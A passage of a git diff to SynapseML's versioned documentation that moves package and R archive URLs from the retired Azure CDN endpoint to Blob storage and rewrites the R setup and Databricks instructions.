Detection.md +++ b/website/versioned_docs/version-1.0.1/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:1.0.1 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-1.0.1/Get Started/Install SynapseML.md b/website/versioned_docs/version-1.0.1/Get Started/Install SynapseML.md index d6202d8ad30..9a30d1b7bb7 100644 --- a/website/versioned_docs/version-1.0.1/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-1.0.1/Get Started/Install SynapseML.md @@ -13,7 +13,7 @@ SynapseML is already installed in Microsoft Fabric notebooks. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -33,7 +33,7 @@ For Spark3.4 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.1", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -48,7 +48,7 @@ For Spark3.3 pools: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -66,7 +66,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.1 version for Spark3.4 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:1.0.1") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -77,7 +77,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.1 version for Spark3.4 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "1.0.1" ``` @@ -108,7 +108,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:1.0.1` for Spark3.4 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. diff --git a/website/versioned_docs/version-1.0.1/Reference/Contributor Guide.md b/website/versioned_docs/version-1.0.1/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-1.0.1/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-1.0.1/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-1.0.1/Reference/R Setup.md b/website/versioned_docs/version-1.0.1/Reference/R Setup.md index d44604b0c62..85b6700b707 100644 --- a/website/versioned_docs/version-1.0.1/Reference/R Setup.md +++ b/website/versioned_docs/version-1.0.1/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-1.0.1.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-1.0.1.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-1.0.1.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-1.0.1.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-1.0.1.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-1.0.1.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-1.0.1.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:1.0.1" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:1.0.1` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:1.0.1 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-1.0.1.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/website/versioned_docs/version-1.0.10/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md b/website/versioned_docs/version-1.0.10/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md index b4c241b3160..40ce8d5d732 100644 --- a/website/versioned_docs/version-1.0.10/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md +++ b/website/versioned_docs/version-1.0.10/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md @@ -19,7 +19,7 @@ To learn more about the Isolation Forest model please refer to the original pape # "name": "synapseml", # "conf": { # "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", -# "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", +# "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", # "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", # "spark.yarn.user.classpath.first": "true", # "spark.sql.parquet.enableVectorizedReader": "false" diff --git a/website/versioned_docs/version-1.0.10/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-1.0.10/Explore Algorithms/Deep Learning/Getting Started.md index eed17e224f7..ec5c6158bc3 100644 --- a/website/versioned_docs/version-1.0.10/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-1.0.10/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==1.0.10 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:1.0.10 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-1.0.10/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-1.0.10/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index 9ac59c73f98..cb0ea4de858 100644 --- a/website/versioned_docs/version-1.0.10/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md +++ b/website/versioned_docs/version-1.0.10/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:1.0.10 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-1.0.10/Get Started/Install SynapseML.md b/website/versioned_docs/version-1.0.10/Get Started/Install SynapseML.md index c89afcc7159..430c5bb10d0 100644 --- a/website/versioned_docs/version-1.0.10/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-1.0.10/Get Started/Install SynapseML.md @@ -13,7 +13,7 @@ SynapseML is already installed in Microsoft Fabric notebooks. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -33,7 +33,7 @@ For Spark3.4 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.10", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -48,7 +48,7 @@ For Spark3.3 pools: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -66,7 +66,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.10 version for Spark3.4 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:1.0.10") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -77,7 +77,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.10 version for Spark3.4 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "1.0.10" ``` @@ -108,7 +108,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:1.0.10` for Spark3.4 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. diff --git a/website/versioned_docs/version-1.0.10/Reference/Contributor Guide.md b/website/versioned_docs/version-1.0.10/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-1.0.10/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-1.0.10/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-1.0.10/Reference/R Setup.md b/website/versioned_docs/version-1.0.10/Reference/R Setup.md index 93fe22847d0..a0d210f0bc6 100644 --- a/website/versioned_docs/version-1.0.10/Reference/R Setup.md +++ b/website/versioned_docs/version-1.0.10/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-1.0.10.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-1.0.10.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-1.0.10.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-1.0.10.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-1.0.10.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-1.0.10.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-1.0.10.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:1.0.10" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:1.0.10` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:1.0.10 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-1.0.10.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/website/versioned_docs/version-1.0.11/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md b/website/versioned_docs/version-1.0.11/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md index b4c241b3160..40ce8d5d732 100644 --- a/website/versioned_docs/version-1.0.11/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md +++ b/website/versioned_docs/version-1.0.11/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md @@ -19,7 +19,7 @@ To learn more about the Isolation Forest model please refer to the original pape # "name": "synapseml", # "conf": { # "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", -# "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", +# "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", # "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", # "spark.yarn.user.classpath.first": "true", # "spark.sql.parquet.enableVectorizedReader": "false" diff --git a/website/versioned_docs/version-1.0.11/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-1.0.11/Explore Algorithms/Deep Learning/Getting Started.md index f8880d5dcec..ded2eef8e29 100644 --- a/website/versioned_docs/version-1.0.11/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-1.0.11/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==1.0.11 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:1.0.11 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-1.0.11/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-1.0.11/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index 8c7a227671c..bbda515bef2 100644 --- a/website/versioned_docs/version-1.0.11/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md +++ b/website/versioned_docs/version-1.0.11/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:1.0.11 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-1.0.11/Get Started/Install SynapseML.md b/website/versioned_docs/version-1.0.11/Get Started/Install SynapseML.md index 3d16b052a46..c4b5d304e5f 100644 --- a/website/versioned_docs/version-1.0.11/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-1.0.11/Get Started/Install SynapseML.md @@ -13,7 +13,7 @@ SynapseML is already installed in Microsoft Fabric notebooks. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": 